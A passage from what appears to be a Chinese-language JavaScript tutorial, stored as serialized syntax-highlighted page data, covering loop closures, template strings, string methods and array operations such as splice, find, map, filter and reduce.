i\n",[331,65232,65233],{"class":333,"line":357},[331,65234,459],{"class":337},[331,65236,65237],{"class":333,"line":371},[331,65238,998],{"emptyLinePlaceholder":997},[331,65240,65241,65243,65245,65247,65249,65251,65253,65255,65257,65259,65261,65263],{"class":333,"line":384},[331,65242,18917],{"class":616},[331,65244,1147],{"class":337},[331,65246,18926],{"class":616},[331,65248,62665],{"class":337},[331,65250,518],{"class":616},[331,65252,680],{"class":344},[331,65254,62672],{"class":337},[331,65256,510],{"class":616},[331,65258,59421],{"class":344},[331,65260,62679],{"class":337},[331,65262,29231],{"class":616},[331,65264,2476],{"class":337},[331,65266,65267,65269,65271,65273,65275,65277,65280,65282,65284],{"class":333,"line":397},[331,65268,65212],{"class":501},[331,65270,1486],{"class":337},[331,65272,1489],{"class":616},[331,65274,18119],{"class":337},[331,65276,3533],{"class":501},[331,65278,65279],{"class":337},"(j), ",[331,65281,628],{"class":344},[331,65283,62134],{"class":337},[331,65285,65286],{"class":1003},"\u002F\u002F 0 1 2 —— 每轮 j 是独立绑定\n",[331,65288,65289],{"class":333,"line":418},[331,65290,459],{"class":337},[11,65292,65293,65295,65296,65298,65299,65301,65302,65307,65308,65310],{},[22,65294,18923],{}," 只有一份循环变量，等回调执行时循环早已结束、",[22,65297,1189],{}," 停在 3；",[22,65300,18926],{}," 每次迭代都创建一个新绑定，回调各自记住当轮的值。",[17,65303,16105,65304,65306],{},[22,65305,18926],{}," 写循环","就是这条坑的根治方案，",[22,65309,22220],{}," 换成事件监听、数组方法回调，现象完全一样。",[53,65312,65313],{"id":65313},"内存提醒",[11,65315,65316,65317,65320],{},"闭包让外层变量不被回收，这既是特性也是成本：被长期持有的闭包如果引用了很大的数据（大数组、DOM 节点），会阻止它们被释放。实践上不需要紧张，只需记住一条：",[17,65318,65319],{},"长生命周期的地方（全局、长期存在的定时器\u002F监听器）别无意中拖住大对象","；不再需要的监听器记得移除。",[48,65322,65324],{"id":65323},"八字符串模板字符串与常用方法","八、字符串：模板字符串与常用方法",[11,65326,65327,65328,65331,65332,32522,65335,65337],{},"字符串是不可变的原始值（第三章）：所有「修改」方法都返回",[17,65329,65330],{},"新字符串","，原字符串纹丝不动。",[22,65333,65334],{},"name.toUpperCase()",[22,65336,1900],{}," 还是原样——想把结果留住，要赋给变量。",[53,65339,65341],{"id":65340},"模板字符串拼接的现代写法","模板字符串：拼接的现代写法",[308,65343,65345],{"className":942,"code":65344,"language":944,"meta":314,"style":314},"const user = { name: '阿蓝', points: 1280 }\n\n\u002F\u002F 旧：加号拼接，引号要数清楚\nconst msg1 = '用户 ' + user.name + ' 有 ' + user.points + ' 积分'\n\n\u002F\u002F 新：反引号模板，${} 里能放任意表达式\nconst msg2 = `用户 ${user.name} 有 ${user.points} 积分，下一级还差 ${2000 - user.points}`\n",[22,65346,65347,65367,65371,65376,65408,65412,65417],{"__ignoreMap":314},[331,65348,65349,65351,65353,65355,65357,65359,65362,65365],{"class":333,"line":334},[331,65350,951],{"class":616},[331,65352,13900],{"class":344},[331,65354,957],{"class":616},[331,65356,32312],{"class":337},[331,65358,20599],{"class":365},[331,65360,65361],{"class":337},", points: ",[331,65363,65364],{"class":344},"1280",[331,65366,9413],{"class":337},[331,65368,65369],{"class":333,"line":341},[331,65370,998],{"emptyLinePlaceholder":997},[331,65372,65373],{"class":333,"line":357},[331,65374,65375],{"class":1003},"\u002F\u002F 旧：加号拼接，引号要数清楚\n",[331,65377,65378,65380,65383,65385,65388,65390,65393,65395,65398,65400,65403,65405],{"class":333,"line":371},[331,65379,951],{"class":616},[331,65381,65382],{"class":344}," msg1",[331,65384,957],{"class":616},[331,65386,65387],{"class":365}," '用户 '",[331,65389,6321],{"class":616},[331,65391,65392],{"class":337}," user.name ",[331,65394,12714],{"class":616},[331,65396,65397],{"class":365}," ' 有 '",[331,65399,6321],{"class":616},[331,65401,65402],{"class":337}," user.points ",[331,65404,12714],{"class":616},[331,65406,65407],{"class":365}," ' 积分'\n",[331,65409,65410],{"class":333,"line":384},[331,65411,998],{"emptyLinePlaceholder":997},[331,65413,65414],{"class":333,"line":397},[331,65415,65416],{"class":1003},"\u002F\u002F 新：反引号模板，${} 里能放任意表达式\n",[331,65418,65419,65421,65424,65426,65429,65431,65433,65435,65438,65440,65442,65445,65448,65451,65453,65455,65457,65459],{"class":333,"line":418},[331,65420,951],{"class":616},[331,65422,65423],{"class":344}," msg2",[331,65425,957],{"class":616},[331,65427,65428],{"class":365}," `用户 ${",[331,65430,45971],{"class":337},[331,65432,1192],{"class":365},[331,65434,1900],{"class":337},[331,65436,65437],{"class":365},"} 有 ${",[331,65439,45971],{"class":337},[331,65441,1192],{"class":365},[331,65443,65444],{"class":337},"points",[331,65446,65447],{"class":365},"} 积分，下一级还差 ${",[331,65449,65450],{"class":344},"2000",[331,65452,63216],{"class":616},[331,65454,13900],{"class":337},[331,65456,1192],{"class":365},[331,65458,65444],{"class":337},[331,65460,1354],{"class":365},[11,65462,65463,65464,65467,65468,65471],{},"模板字符串的三个能力：插入任意表达式（不是只能放变量）、跨行书写（换行不需要 ",[22,65465,65466],{},"\\n","）、标签模板（",[22,65469,65470],{},"String.raw"," 等高级用法，先了解即可）。拼接 HTML 片段时也用它。",[53,65473,65474],{"id":65474},"常用方法速查",[57,65476,65477,65487],{},[60,65478,65479],{},[63,65480,65481,65483,65485],{},[66,65482,10223],{},[66,65484,7759],{},[66,65486,1878],{},[79,65488,65489,65511,65531,65549,65568,65585,65603,65623,65647],{},[63,65490,65491,65501,65504],{},[84,65492,65493,1901,65495,1901,65498],{},[22,65494,2501],{},[22,65496,65497],{},"startsWith",[22,65499,65500],{},"endsWith",[84,65502,65503],{},"包含 \u002F 以…开头 \u002F 以…结尾",[84,65505,65506,4843,65509],{},[22,65507,65508],{},"'abc'.includes('b')",[22,65510,1131],{},[63,65512,65513,65518,65524],{},[84,65514,65515],{},[22,65516,65517],{},"indexOf",[84,65519,65520,65521],{},"首次出现的下标，找不到返回 ",[17,65522,65523],{},"-1",[84,65525,65526,4843,65529],{},[22,65527,65528],{},"'a-b-c'.indexOf('-')",[22,65530,7993],{},[63,65532,65533,65538,65541],{},[84,65534,65535],{},[22,65536,65537],{},"slice(start, end)",[84,65539,65540],{},"截取，支持负数下标（从尾部算）",[84,65542,65543,4843,65546],{},[22,65544,65545],{},"'hello'.slice(1, 4)",[22,65547,65548],{},"'ell'",[63,65550,65551,65559,65562],{},[84,65552,65553,1901,65556],{},[22,65554,65555],{},"toUpperCase",[22,65557,65558],{},"toLowerCase",[84,65560,65561],{},"大小写转换",[84,65563,65564,65565],{},"比较前统一大小写：",[22,65566,65567],{},"a.toLowerCase() === b.toLowerCase()",[63,65569,65570,65574,65577],{},[84,65571,65572],{},[22,65573,23165],{},[84,65575,65576],{},"去掉首尾空白（表单输入必做）",[84,65578,65579,4843,65582],{},[22,65580,65581],{},"'  hi  '.trim()",[22,65583,65584],{},"'hi'",[63,65586,65587,65592,65595],{},[84,65588,65589],{},[22,65590,65591],{},"split",[84,65593,65594],{},"按分隔符切成数组",[84,65596,65597,4843,65600],{},[22,65598,65599],{},"'a,b,c'.split(',')",[22,65601,65602],{},"['a','b','c']",[63,65604,65605,65612,65615],{},[84,65606,65607,1901,65609],{},[22,65608,32154],{},[22,65610,65611],{},"replaceAll",[84,65613,65614],{},"替换，支持正则",[84,65616,65617,4843,65620],{},[22,65618,65619],{},"'a-b'.replaceAll('-', '+')",[22,65621,65622],{},"'a+b'",[63,65624,65625,65636,65639],{},[84,65626,65627,1901,65630,1901,65633],{},[22,65628,65629],{},"repeat",[22,65631,65632],{},"padStart",[22,65634,65635],{},"padEnd",[84,65637,65638],{},"重复 \u002F 补齐",[84,65640,65641,4843,65644],{},[22,65642,65643],{},"'7'.padStart(2, '0')",[22,65645,65646],{},"'07'",[63,65648,65649,65657,65660],{},[84,65650,65651,1901,65654],{},[22,65652,65653],{},"charAt(i)",[22,65655,65656],{},"at(-1)",[84,65658,65659],{},"取单个字符",[84,65661,65662,4843,65665],{},[22,65663,65664],{},"'你好'.at(-1)",[22,65666,65667],{},"'好'",[4748,65669],{"height":5188,"src":65670,"title":65671},"\u002Ftutorials\u002Fjs\u002Fdemos\u002F08-string.html","示例 08：字符串常用方法实操",[53,65673,65674],{"id":65674},"两个值得单独说的点",[11,65676,65677,268,65683,65686,65687,65689,65690,18878,65693,65695,65696,65698,65699,161],{},[17,65678,65679,65680,65682],{},"判断包含时 ",[22,65681,65517],{}," 的 -1。",[22,65684,65685],{},"if (str.indexOf('x'))"," 是错误写法：找不到返回 ",[22,65688,65523],{},"，是",[17,65691,65692],{},"真值",[22,65694,11541],{}," 居然会通过。正确写法是用 ",[22,65697,2501],{},"，或者显式写 ",[22,65700,65701],{},"if (str.indexOf('x') !== -1)",[11,65703,65704,65713,65714,65717,65718,65720,65721,161],{},[17,65705,65706,5160,65709,65712],{},[22,65707,65708],{},"slice",[22,65710,65711],{},"substring"," 的区别。"," 负数下标时 ",[22,65715,65716],{},"slice(-3)"," 表示「从倒数第 3 个开始」；",[22,65719,65711],{}," 会把负数当 0，且参数顺序颠倒时自动交换——行为不一致且难记，",[17,65722,65723,65724],{},"统一用 ",[22,65725,65708],{},[48,65727,65729],{"id":65728},"九数组增删改查与-map-filter-reduce","九、数组：增删改查与 map \u002F filter \u002F reduce",[11,65731,65732,65733,65736,65737,1901,65739,65742,65743,1901,65745,161],{},"数组是有序的值的集合，日常写法是字面量 ",[22,65734,65735],{},"[1, 2, 3]","。它同时是「列表」也是「栈\u002F队列」两种用法的载体：一端进出用 ",[22,65738,20810],{},[22,65740,65741],{},"pop","，两端进出用 ",[22,65744,20810],{},[22,65746,65747],{},"shift",[53,65749,65750],{"id":65750},"创建与访问",[308,65752,65754],{"className":942,"code":65753,"language":944,"meta":314,"style":314},"const langs = ['HTML', 'CSS', 'JavaScript']   \u002F\u002F 字面量，最常用\nconst empty = []                               \u002F\u002F 空数组\nconst grid = Array.from({ length: 3 }, (_, i) => i * 2)   \u002F\u002F [0, 2, 4]，由长度生成\n\nlangs[0]        \u002F\u002F 'HTML'，下标从 0 开始\nlangs.at(-1)    \u002F\u002F 'JavaScript'，负数从尾部数，比 langs[langs.length - 1] 干净\nlangs.length    \u002F\u002F 3，长度是属性不是方法\n",[22,65755,65756,65786,65801,65844,65848,65861,65881],{"__ignoreMap":314},[331,65757,65758,65760,65763,65765,65767,65770,65772,65775,65777,65780,65783],{"class":333,"line":334},[331,65759,951],{"class":616},[331,65761,65762],{"class":344}," langs",[331,65764,957],{"class":616},[331,65766,1108],{"class":337},[331,65768,65769],{"class":365},"'HTML'",[331,65771,409],{"class":337},[331,65773,65774],{"class":365},"'CSS'",[331,65776,409],{"class":337},[331,65778,65779],{"class":365},"'JavaScript'",[331,65781,65782],{"class":337},"]   ",[331,65784,65785],{"class":1003},"\u002F\u002F 字面量，最常用\n",[331,65787,65788,65790,65793,65795,65798],{"class":333,"line":341},[331,65789,951],{"class":616},[331,65791,65792],{"class":344}," empty",[331,65794,957],{"class":616},[331,65796,65797],{"class":337}," []                               ",[331,65799,65800],{"class":1003},"\u002F\u002F 空数组\n",[331,65802,65803,65805,65808,65810,65813,65815,65818,65820,65823,65825,65827,65829,65831,65833,65835,65837,65839,65841],{"class":333,"line":357},[331,65804,951],{"class":616},[331,65806,65807],{"class":344}," grid",[331,65809,957],{"class":616},[331,65811,65812],{"class":337}," Array.",[331,65814,13735],{"class":501},[331,65816,65817],{"class":337},"({ length: ",[331,65819,351],{"class":344},[331,65821,65822],{"class":337}," }, (",[331,65824,62761],{"class":2472},[331,65826,409],{"class":337},[331,65828,1189],{"class":2472},[331,65830,3180],{"class":337},[331,65832,1489],{"class":616},[331,65834,62616],{"class":337},[331,65836,18020],{"class":616},[331,65838,18023],{"class":344},[331,65840,62134],{"class":337},[331,65842,65843],{"class":1003},"\u002F\u002F [0, 2, 4]，由长度生成\n",[331,65845,65846],{"class":333,"line":371},[331,65847,998],{"emptyLinePlaceholder":997},[331,65849,65850,65853,65855,65858],{"class":333,"line":384},[331,65851,65852],{"class":337},"langs[",[331,65854,628],{"class":344},[331,65856,65857],{"class":337},"]        ",[331,65859,65860],{"class":1003},"\u002F\u002F 'HTML'，下标从 0 开始\n",[331,65862,65863,65866,65869,65871,65873,65875,65878],{"class":333,"line":397},[331,65864,65865],{"class":337},"langs.",[331,65867,65868],{"class":501},"at",[331,65870,966],{"class":337},[331,65872,6659],{"class":616},[331,65874,7993],{"class":344},[331,65876,65877],{"class":337},")    ",[331,65879,65880],{"class":1003},"\u002F\u002F 'JavaScript'，负数从尾部数，比 langs[langs.length - 1] 干净\n",[331,65882,65883,65885,65887],{"class":333,"line":418},[331,65884,65865],{"class":337},[331,65886,10192],{"class":344},[331,65888,65889],{"class":1003},"    \u002F\u002F 3，长度是属性不是方法\n",[11,65891,65892,65893,17306,65895,65897,65898,65901],{},"访问不存在的下标不报错，返回 ",[22,65894,5872],{},[22,65896,10192],{}," 可以写入（",[22,65899,65900],{},"arr.length = 0"," 是清空数组的常用写法）。",[53,65903,65905],{"id":65904},"增删改记住哪端快","增删改：记住哪端快",[57,65907,65908,65920],{},[60,65909,65910],{},[63,65911,65912,65914,65916,65918],{},[66,65913,1802],{},[66,65915,10223],{},[66,65917,23654],{},[66,65919,19257],{},[79,65921,65922,65938,65953,65968,65983,65999],{},[63,65923,65924,65927,65932,65935],{},[84,65925,65926],{},"尾部加",[84,65928,65929],{},[22,65930,65931],{},"push(x)",[84,65933,65934],{},"返回新长度",[84,65936,65937],{},"改原数组",[63,65939,65940,65943,65948,65951],{},[84,65941,65942],{},"尾部删",[84,65944,65945],{},[22,65946,65947],{},"pop()",[84,65949,65950],{},"返回被删的元素",[84,65952,65937],{},[63,65954,65955,65958,65963,65965],{},[84,65956,65957],{},"头部加",[84,65959,65960],{},[22,65961,65962],{},"unshift(x)",[84,65964,65934],{},[84,65966,65967],{},"慢，整体后移",[63,65969,65970,65973,65978,65980],{},[84,65971,65972],{},"头部删",[84,65974,65975],{},[22,65976,65977],{},"shift()",[84,65979,65950],{},[84,65981,65982],{},"慢，整体前移",[63,65984,65985,65988,65993,65996],{},[84,65986,65987],{},"任意位置",[84,65989,65990],{},[22,65991,65992],{},"splice(start, delCount, ...items)",[84,65994,65995],{},"返回被删元素组成的数组",[84,65997,65998],{},"就地插入\u002F删除\u002F替换三合一",[63,66000,66001,66004,66008,66011],{},[84,66002,66003],{},"截取不改原数组",[84,66005,66006],{},[22,66007,65537],{},[84,66009,66010],{},"返回新数组",[84,66012,66013],{},"与字符串同名方法同语义",[308,66015,66017],{"className":942,"code":66016,"language":944,"meta":314,"style":314},"const list = ['a', 'b', 'c']\nlist.splice(1, 1, 'B', 'B2')   \u002F\u002F 从下标 1 删 1 个，插入两个 → ['a', 'B', 'B2', 'c']\nconst copy = list.slice()      \u002F\u002F 浅拷贝一份\n",[22,66018,66019,66042,66073],{"__ignoreMap":314},[331,66020,66021,66023,66025,66027,66029,66031,66033,66035,66037,66040],{"class":333,"line":334},[331,66022,951],{"class":616},[331,66024,10160],{"class":344},[331,66026,957],{"class":616},[331,66028,1108],{"class":337},[331,66030,9298],{"class":365},[331,66032,409],{"class":337},[331,66034,9303],{"class":365},[331,66036,409],{"class":337},[331,66038,66039],{"class":365},"'c'",[331,66041,1268],{"class":337},[331,66043,66044,66047,66050,66052,66054,66056,66058,66060,66063,66065,66068,66070],{"class":333,"line":341},[331,66045,66046],{"class":337},"list.",[331,66048,66049],{"class":501},"splice",[331,66051,966],{"class":337},[331,66053,7993],{"class":344},[331,66055,409],{"class":337},[331,66057,7993],{"class":344},[331,66059,409],{"class":337},[331,66061,66062],{"class":365},"'B'",[331,66064,409],{"class":337},[331,66066,66067],{"class":365},"'B2'",[331,66069,62134],{"class":337},[331,66071,66072],{"class":1003},"\u002F\u002F 从下标 1 删 1 个，插入两个 → ['a', 'B', 'B2', 'c']\n",[331,66074,66075,66077,66080,66082,66085,66087,66090],{"class":333,"line":357},[331,66076,951],{"class":616},[331,66078,66079],{"class":344}," copy",[331,66081,957],{"class":616},[331,66083,66084],{"class":337}," list.",[331,66086,65708],{"class":501},[331,66088,66089],{"class":337},"()      ",[331,66091,66092],{"class":1003},"\u002F\u002F 浅拷贝一份\n",[53,66094,66096],{"id":66095},"遍历forof-与经典的-for","遍历：for...of 与经典的 for",[11,66098,66099,66100,66106,66107,66109,66110,66113,66114,161,66117,66119],{},"第五章已定下规则：",[17,66101,66102,66103,66105],{},"数组用 ",[22,66104,27395],{}," 拿值","；需要下标时用经典 ",[22,66108,18917],{},"，或者 ",[22,66111,66112],{},"arr.entries()"," 解构出 ",[22,66115,66116],{},"[index, value]",[22,66118,63956],{}," 在数组上给字符串下标，继续回避。",[308,66121,66123],{"className":942,"code":66122,"language":944,"meta":314,"style":314},"for (const lang of langs) console.log(lang)\n\nfor (const [i, lang] of langs.entries()) {\n  console.log(i, lang)          \u002F\u002F 0 'HTML' \u002F 1 'CSS' \u002F 2 'JavaScript'\n}\n",[22,66124,66125,66145,66149,66177,66189],{"__ignoreMap":314},[331,66126,66127,66129,66131,66133,66135,66137,66140,66142],{"class":333,"line":334},[331,66128,18917],{"class":616},[331,66130,1147],{"class":337},[331,66132,951],{"class":616},[331,66134,515],{"class":344},[331,66136,63926],{"class":616},[331,66138,66139],{"class":337}," langs) console.",[331,66141,3533],{"class":501},[331,66143,66144],{"class":337},"(lang)\n",[331,66146,66147],{"class":333,"line":341},[331,66148,998],{"emptyLinePlaceholder":997},[331,66150,66151,66153,66155,66157,66159,66161,66163,66166,66168,66170,66173,66175],{"class":333,"line":357},[331,66152,18917],{"class":616},[331,66154,1147],{"class":337},[331,66156,951],{"class":616},[331,66158,1108],{"class":337},[331,66160,1189],{"class":344},[331,66162,409],{"class":337},[331,66164,66165],{"class":344},"lang",[331,66167,1114],{"class":337},[331,66169,27388],{"class":616},[331,66171,66172],{"class":337}," langs.",[331,66174,64023],{"class":501},[331,66176,32305],{"class":337},[331,66178,66179,66181,66183,66186],{"class":333,"line":371},[331,66180,22619],{"class":337},[331,66182,3533],{"class":501},[331,66184,66185],{"class":337},"(i, lang)          ",[331,66187,66188],{"class":1003},"\u002F\u002F 0 'HTML' \u002F 1 'CSS' \u002F 2 'JavaScript'\n",[331,66190,66191],{"class":333,"line":384},[331,66192,459],{"class":337},[53,66194,66195],{"id":66195},"查找与判断",[308,66197,66199],{"className":942,"code":66198,"language":944,"meta":314,"style":314},"langs.includes('CSS')              \u002F\u002F true —— 包含某个值吗\nlangs.indexOf('Java')              \u002F\u002F -1 —— 找不到返回 -1（同样是那个坑）\nlangs.find(x => x.length > 4)      \u002F\u002F 'JavaScript'？不，返回第一个长度>4的元素\nlangs.findIndex(x => x === 'CSS')  \u002F\u002F 1\n",[22,66200,66201,66216,66232,66258],{"__ignoreMap":314},[331,66202,66203,66205,66207,66209,66211,66213],{"class":333,"line":334},[331,66204,65865],{"class":337},[331,66206,2501],{"class":501},[331,66208,966],{"class":337},[331,66210,65774],{"class":365},[331,66212,20580],{"class":337},[331,66214,66215],{"class":1003},"\u002F\u002F true —— 包含某个值吗\n",[331,66217,66218,66220,66222,66224,66227,66229],{"class":333,"line":341},[331,66219,65865],{"class":337},[331,66221,65517],{"class":501},[331,66223,966],{"class":337},[331,66225,66226],{"class":365},"'Java'",[331,66228,20580],{"class":337},[331,66230,66231],{"class":1003},"\u002F\u002F -1 —— 找不到返回 -1（同样是那个坑）\n",[331,66233,66234,66236,66238,66240,66242,66244,66247,66249,66251,66253,66255],{"class":333,"line":357},[331,66235,65865],{"class":337},[331,66237,16382],{"class":501},[331,66239,966],{"class":337},[331,66241,21547],{"class":2472},[331,66243,21594],{"class":616},[331,66245,66246],{"class":337}," x.",[331,66248,10192],{"class":344},[331,66250,56464],{"class":616},[331,66252,43890],{"class":344},[331,66254,28281],{"class":337},[331,66256,66257],{"class":1003},"\u002F\u002F 'JavaScript'？不，返回第一个长度>4的元素\n",[331,66259,66260,66262,66265,66267,66269,66271,66274,66276,66279,66282],{"class":333,"line":371},[331,66261,65865],{"class":337},[331,66263,66264],{"class":501},"findIndex",[331,66266,966],{"class":337},[331,66268,21547],{"class":2472},[331,66270,21594],{"class":616},[331,66272,66273],{"class":337}," x ",[331,66275,2625],{"class":616},[331,66277,66278],{"class":365}," 'CSS'",[331,66280,66281],{"class":337},")  ",[331,66283,65096],{"class":1003},[11,66285,66286,66288,66289,66292,66293,4846,66295,66288,66297,66300,66301,66303,66304,1901,66306,1901,66308,66310],{},[22,66287,16382],{}," 返回",[17,66290,66291],{},"元素","（找不到 ",[22,66294,5872],{},[22,66296,66264],{},[17,66298,66299],{},"下标","（找不到 -1），",[22,66302,65517],{}," 严格相等比较、不做函数判断。以上是「查」，接下来一节的 ",[22,66305,10198],{},[22,66307,21587],{},[22,66309,21537],{}," 才是数组真正的主力。",[4748,66312],{"height":5188,"src":66313,"title":66314},"\u002Ftutorials\u002Fjs\u002Fdemos\u002F09a-arrays.html","示例 09a：数组的增删改查",[53,66316,66317],{"id":66317},"快速自查的三个坑",[1773,66319,66320,66338,66349],{},[1662,66321,66322,322,66327,66330,66331,66334,66335,66337],{},[17,66323,66324,66326],{},[22,66325,20810],{}," 返回的是长度不是数组",[22,66328,66329],{},"const r = arr.push(1)"," 后拿 ",[22,66332,66333],{},"r"," 继续链式调用必然错——",[22,66336,20810],{}," 改的是原数组，不要接着用返回值。",[1662,66339,66340,66348],{},[17,66341,66342,66344,66345,66347],{},[22,66343,66049],{}," 改原数组、",[22,66346,65708],{}," 不改","：名字只差一个字母，行为相反，拿不准时先查这条表。",[1662,66350,66351,322,66357,66360,66361,66364,66365,66368],{},[17,66352,66353,66356],{},[22,66354,66355],{},"sort"," 默认按字符串排序",[22,66358,66359],{},"[10, 2, 1].sort()"," 得到 ",[22,66362,66363],{},"[1, 10, 2]","！数字排序必须传比较函数 ",[22,66366,66367],{},"sort((a, b) => a - b)","，下一节展开。",[53,66370,66372],{"id":66371},"map-filter-reduce用回调加工数组","map \u002F filter \u002F reduce：用回调加工数组",[11,66374,66375,66376,66379,66380,66383],{},"数组的「遍历—加工」几乎都可以用这几个方法表达，它们都以",[17,66377,66378],{},"回调函数","为参数（第六章的一等公民），且都",[17,66381,66382],{},"不改原数组","（返回新数组\u002F新值）：",[308,66385,66387],{"className":942,"code":66386,"language":944,"meta":314,"style":314},"const nums = [1, 2, 3, 4, 5, 6]\n\nnums.map(n => n * n)              \u002F\u002F [1, 4, 9, 16, 25, 36]   每个元素变换 → 等长新数组\nnums.filter(n => n % 2 === 0)     \u002F\u002F [2, 4, 6]              按条件保留 → 变短的新数组\nnums.reduce((acc, n) => acc + n, 0)   \u002F\u002F 21                  从左到右汇总成一个值\n\nnums.find(n => n > 3)             \u002F\u002F 4       第一个满足的「元素」，没有则 undefined\nnums.findIndex(n => n > 3)        \u002F\u002F 3       第一个满足的「下标」，没有则 -1\nnums.some(n => n > 5)             \u002F\u002F true    「存在」满足的\nnums.every(n => n > 0)            \u002F\u002F true    「全部」满足\nnums.includes(4)                  \u002F\u002F true    是否包含某值（=== 比较）\n",[22,66388,66389,66424,66428,66451,66478,66512,66516,66540,66563,66587,66612],{"__ignoreMap":314},[331,66390,66391,66393,66396,66398,66400,66402,66404,66406,66408,66410,66412,66414,66416,66418,66420,66422],{"class":333,"line":334},[331,66392,951],{"class":616},[331,66394,66395],{"class":344}," nums",[331,66397,957],{"class":616},[331,66399,1108],{"class":337},[331,66401,7993],{"class":344},[331,66403,409],{"class":337},[331,66405,9292],{"class":344},[331,66407,409],{"class":337},[331,66409,351],{"class":344},[331,66411,409],{"class":337},[331,66413,15097],{"class":344},[331,66415,409],{"class":337},[331,66417,6508],{"class":344},[331,66419,409],{"class":337},[331,66421,28747],{"class":344},[331,66423,1268],{"class":337},[331,66425,66426],{"class":333,"line":341},[331,66427,998],{"emptyLinePlaceholder":997},[331,66429,66430,66433,66435,66437,66439,66441,66443,66445,66448],{"class":333,"line":357},[331,66431,66432],{"class":337},"nums.",[331,66434,10198],{"class":501},[331,66436,966],{"class":337},[331,66438,27399],{"class":2472},[331,66440,21594],{"class":616},[331,66442,64269],{"class":337},[331,66444,18020],{"class":616},[331,66446,66447],{"class":337}," n)              ",[331,66449,66450],{"class":1003},"\u002F\u002F [1, 4, 9, 16, 25, 36]   每个元素变换 → 等长新数组\n",[331,66452,66453,66455,66457,66459,66461,66463,66465,66467,66469,66471,66473,66475],{"class":333,"line":371},[331,66454,66432],{"class":337},[331,66456,21587],{"class":501},[331,66458,966],{"class":337},[331,66460,27399],{"class":2472},[331,66462,21594],{"class":616},[331,66464,64269],{"class":337},[331,66466,715],{"class":616},[331,66468,18023],{"class":344},[331,66470,63191],{"class":616},[331,66472,680],{"class":344},[331,66474,14439],{"class":337},[331,66476,66477],{"class":1003},"\u002F\u002F [2, 4, 6]              按条件保留 → 变短的新数组\n",[331,66479,66480,66482,66484,66486,66489,66491,66493,66495,66497,66500,66502,66505,66507,66509],{"class":333,"line":384},[331,66481,66432],{"class":337},[331,66483,21537],{"class":501},[331,66485,3175],{"class":337},[331,66487,66488],{"class":2472},"acc",[331,66490,409],{"class":337},[331,66492,27399],{"class":2472},[331,66494,3180],{"class":337},[331,66496,1489],{"class":616},[331,66498,66499],{"class":337}," acc ",[331,66501,12714],{"class":616},[331,66503,66504],{"class":337}," n, ",[331,66506,628],{"class":344},[331,66508,62134],{"class":337},[331,66510,66511],{"class":1003},"\u002F\u002F 21                  从左到右汇总成一个值\n",[331,66513,66514],{"class":333,"line":397},[331,66515,998],{"emptyLinePlaceholder":997},[331,66517,66518,66520,66522,66524,66526,66528,66530,66532,66534,66537],{"class":333,"line":418},[331,66519,66432],{"class":337},[331,66521,16382],{"class":501},[331,66523,966],{"class":337},[331,66525,27399],{"class":2472},[331,66527,21594],{"class":616},[331,66529,64269],{"class":337},[331,66531,42343],{"class":616},[331,66533,59421],{"class":344},[331,66535,66536],{"class":337},")             ",[331,66538,66539],{"class":1003},"\u002F\u002F 4       第一个满足的「元素」，没有则 undefined\n",[331,66541,66542,66544,66546,66548,66550,66552,66554,66556,66558,66560],{"class":333,"line":427},[331,66543,66432],{"class":337},[331,66545,66264],{"class":501},[331,66547,966],{"class":337},[331,66549,27399],{"class":2472},[331,66551,21594],{"class":616},[331,66553,64269],{"class":337},[331,66555,42343],{"class":616},[331,66557,59421],{"class":344},[331,66559,13842],{"class":337},[331,66561,66562],{"class":1003},"\u002F\u002F 3       第一个满足的「下标」，没有则 -1\n",[331,66564,66565,66567,66570,66572,66574,66576,66578,66580,66582,66584],{"class":333,"line":439},[331,66566,66432],{"class":337},[331,66568,66569],{"class":501},"some",[331,66571,966],{"class":337},[331,66573,27399],{"class":2472},[331,66575,21594],{"class":616},[331,66577,64269],{"class":337},[331,66579,42343],{"class":616},[331,66581,21697],{"class":344},[331,66583,66536],{"class":337},[331,66585,66586],{"class":1003},"\u002F\u002F true    「存在」满足的\n",[331,66588,66589,66591,66594,66596,66598,66600,66602,66604,66606,66609],{"class":333,"line":450},[331,66590,66432],{"class":337},[331,66592,66593],{"class":501},"every",[331,66595,966],{"class":337},[331,66597,27399],{"class":2472},[331,66599,21594],{"class":616},[331,66601,64269],{"class":337},[331,66603,42343],{"class":616},[331,66605,680],{"class":344},[331,66607,66608],{"class":337},")            ",[331,66610,66611],{"class":1003},"\u002F\u002F true    「全部」满足\n",[331,66613,66614,66616,66618,66620,66622,66625],{"class":333,"line":456},[331,66615,66432],{"class":337},[331,66617,2501],{"class":501},[331,66619,966],{"class":337},[331,66621,15097],{"class":344},[331,66623,66624],{"class":337},")                  ",[331,66626,66627],{"class":1003},"\u002F\u002F true    是否包含某值（=== 比较）\n",[11,66629,66630],{},"三个主角的分工记住这张表：",[57,66632,66633,66646],{},[60,66634,66635],{},[63,66636,66637,66639,66641,66644],{},[66,66638,10223],{},[66,66640,44452],{},[66,66642,66643],{},"返回",[66,66645,8278],{},[79,66647,66648,66663,66678],{},[63,66649,66650,66654,66657,66660],{},[84,66651,66652],{},[22,66653,10198],{},[84,66655,66656],{},"逐个变换",[84,66658,66659],{},"等长新数组",[84,66661,66662],{},"「每个都要处理一遍」",[63,66664,66665,66669,66672,66675],{},[84,66666,66667],{},[22,66668,21587],{},[84,66670,66671],{},"逐个筛选",[84,66673,66674],{},"变短（可能空）的新数组",[84,66676,66677],{},"「挑出符合条件的」",[63,66679,66680,66684,66687,66690],{},[84,66681,66682],{},[22,66683,21537],{},[84,66685,66686],{},"逐个累计",[84,66688,66689],{},"任意类型的一个结果",[84,66691,66692],{},"「求和 \u002F 计数 \u002F 分组 \u002F 拼字符串」",[11,66694,66695,66697,66698,66701,66702,268,66705,66707,66708,66710,66711,66713,66714,66716,66717,161],{},[22,66696,21537],{}," 的两个参数值得盯住：",[22,66699,66700],{},"(acc, n) => 新acc"," 的回调，加一个",[17,66703,66704],{},"初始值",[22,66706,628],{},"。初始值不同，结果类型就不同——传 ",[22,66709,628],{}," 求和、传 ",[22,66712,6725],{}," 收集、传 ",[22,66715,62308],{}," 分组。不传初始值时以第一个元素为起点，空数组会直接报错，所以",[17,66718,66719],{},"请始终传初始值",[53,66721,66722],{"id":66722},"链式调用与短路顺序",[308,66724,66726],{"className":942,"code":66725,"language":944,"meta":314,"style":314},"const products = [\n  { name: '键盘', price: 399, onSale: true },\n  { name: '鼠标', price: 129, onSale: false },\n  { name: '显示器', price: 1499, onSale: true }\n]\n\nconst names = products\n  .filter(p => p.onSale)          \u002F\u002F 先筛\n  .map(p => `${p.name} ¥${p.price}`)  \u002F\u002F 